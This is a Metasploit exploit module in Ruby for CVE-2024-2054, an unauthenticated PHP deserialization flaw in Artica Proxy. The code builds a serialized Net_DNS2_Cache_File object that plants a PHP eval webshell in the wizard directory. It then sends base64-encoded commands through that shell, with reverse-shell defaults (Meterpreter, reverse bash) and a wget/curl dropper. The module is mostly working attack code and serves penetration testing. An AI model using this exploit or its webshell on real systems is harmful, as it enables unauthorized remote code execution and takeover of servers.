Artica Proxy Unauthenticated PHP Deserialization

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  include Msf::Exploit::FileDropper  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Artica Proxy Unauthenticated PHP Deserialization Vulnerability',        'Description' => %q{          A Command Injection vulnerability in Artica Proxy appliance version 4.50 and 4.40          allows remote attackers to run arbitrary commands via unauthenticated HTTP request.          The Artica Proxy administrative web application will deserialize arbitrary PHP objects          supplied by unauthenticated users and subsequently enable code execution as the "www-data" user.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor          'Jaggar Henry of KoreLogic Inc.' # Discovery of the vulnerability        ],        'References' => [          ['CVE', '2024-2054'],          ['URL', 'https://attackerkb.com/topics/q1JUcEJjXZ/cve-2024-2054'],          ['PACKETSTORM', '177482']        ],        'DisclosureDate' => '2024-03-05',        'Platform' => ['php', 'unix', 'linux'],        'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86],        'Privileged' => false,        'Targets' => [          [            'PHP',            {              'Platform' => ['php'],              'Arch' => ARCH_PHP,              'Type' => :php,              'DefaultOptions' => {                'PAYLOAD' => 'php/meterpreter/reverse_tcp'              }            }          ],          [            'Unix Command',            {              'Platform' => ['unix', 'linux'],              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ],          [            'Linux Dropper',            {              'Platform' => ['linux'],              'Arch' => [ARCH_X64, ARCH_X86],              'Type' => :linux_dropper,              'CmdStagerFlavor' => ['wget', 'curl', 'bourne', 'printf', 'echo'],              'Linemax' => 16384,              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'SSL' => true,          'RPORT' => 9000        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options([      OptString.new('TARGETURI', [ true, 'The Artica Proxy endpoint URL', '/' ]),      OptString.new('WEBSHELL', [false, 'Set webshell name without extension. Name will be randomly generated if left unset.', nil]),      OptEnum.new('COMMAND',                  [true, 'Use PHP command function', 'passthru', %w[passthru shell_exec system exec]], conditions: %w[TARGET != 0])    ])  end  def execute_php(cmd, _opts = {})    payload = Base64.strict_encode64(cmd)    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'wizard', @webshell_name),      'ctype' => 'application/x-www-form-urlencoded',      'vars_post' => {        @post_param => payload      }    })  end  def execute_command(cmd, _opts = {})    payload = Base64.strict_encode64(cmd)    php_cmd_function = datastore['COMMAND']    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'wizard', @webshell_name),      'ctype' => 'application/x-www-form-urlencoded',      'vars_get' => {        @get_param => php_cmd_function      },      'vars_post' => {        @post_param => payload      }    })  end  def upload_webshell    # randomize file name if option WEBSHELL is not set    @webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : "#{datastore['WEBSHELL']}.php")    @webshell_full_path = "/usr/share/artica-postfix/wizard/#{@webshell_name}"    @post_param = Rex::Text.rand_text_alphanumeric(1..8)    @get_param = Rex::Text.rand_text_alphanumeric(1..8)    # Upload webshell with PHP payload    if target['Type'] == :php      php_payload = "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>"    else      php_payload = "<?=$_GET[\'#{@get_param}\'](base64_decode($_POST[\'#{@post_param}\']));?>"    end    php_payload_len = php_payload.length    webshell_full_path_len = @webshell_full_path.length    final_payload = "O:19:\"Net_DNS2_Cache_File\":4:{s:10:\"cache_file\";s:#{webshell_full_path_len}:\"#{@webshell_full_path}\";s:16:\"cache_serializer\";s:4:\"json\";s:10:\"cache_size\";i:9999999999;s:10:\"cache_data\";a:1:{s:#{php_payload_len}:\"#{php_payload}\";a:2:{s:10:\"cache_date\";i:0;s:3:\"ttl\";i:9999999999;}}}"    final_payload_b64 = Base64.strict_encode64(final_payload)    return send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'wizard', 'wiz.wizard.progress.php'),      'ctype' => 'application/x-www-form-urlencoded',      'vars_get' => {        'build-js' => final_payload_b64      }    })  end  def check    print_status("Checking if #{peer} can be exploited.")    res = send_request_cgi!({      'method' => 'GET',      'ctype' => 'application/x-www-form-urlencoded',      'uri' => normalize_uri(target_uri.path)    })    return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200    # Check if target is an Artica Proxy appliance    # Search for the Artica Version tag on the login page    html = res.get_html_document    unless html.blank?      version_match = html.text.match(/Artica.{1,2}\d\.\d\d/)      return CheckCode::Unknown('No Artica version found.') if version_match.nil?      version = version_match[0].split(' ')      if version.count > 1 && Rex::Version.new(version[1]) <= Rex::Version.new('4.50') && Rex::Version.new(version[1]) >= Rex::Version.new('4.40')        return CheckCode::Vulnerable("Artica version: #{version[1]}")      else        return CheckCode::Safe("Artica version: #{version[1]}")      end    end    CheckCode::Unknown  end  def exploit    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    res = upload_webshell    fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 500    register_file_for_cleanup(@webshell_full_path)    case target['Type']    when :php      execute_php(payload.encoded)    when :unix_cmd      execute_command(payload.encoded)    when :linux_dropper      # Don't check the response here since the server won't respond      # if the payload is successfully executed.      execute_cmdstager({ linemax: target.opts['Linemax'] })    end  endend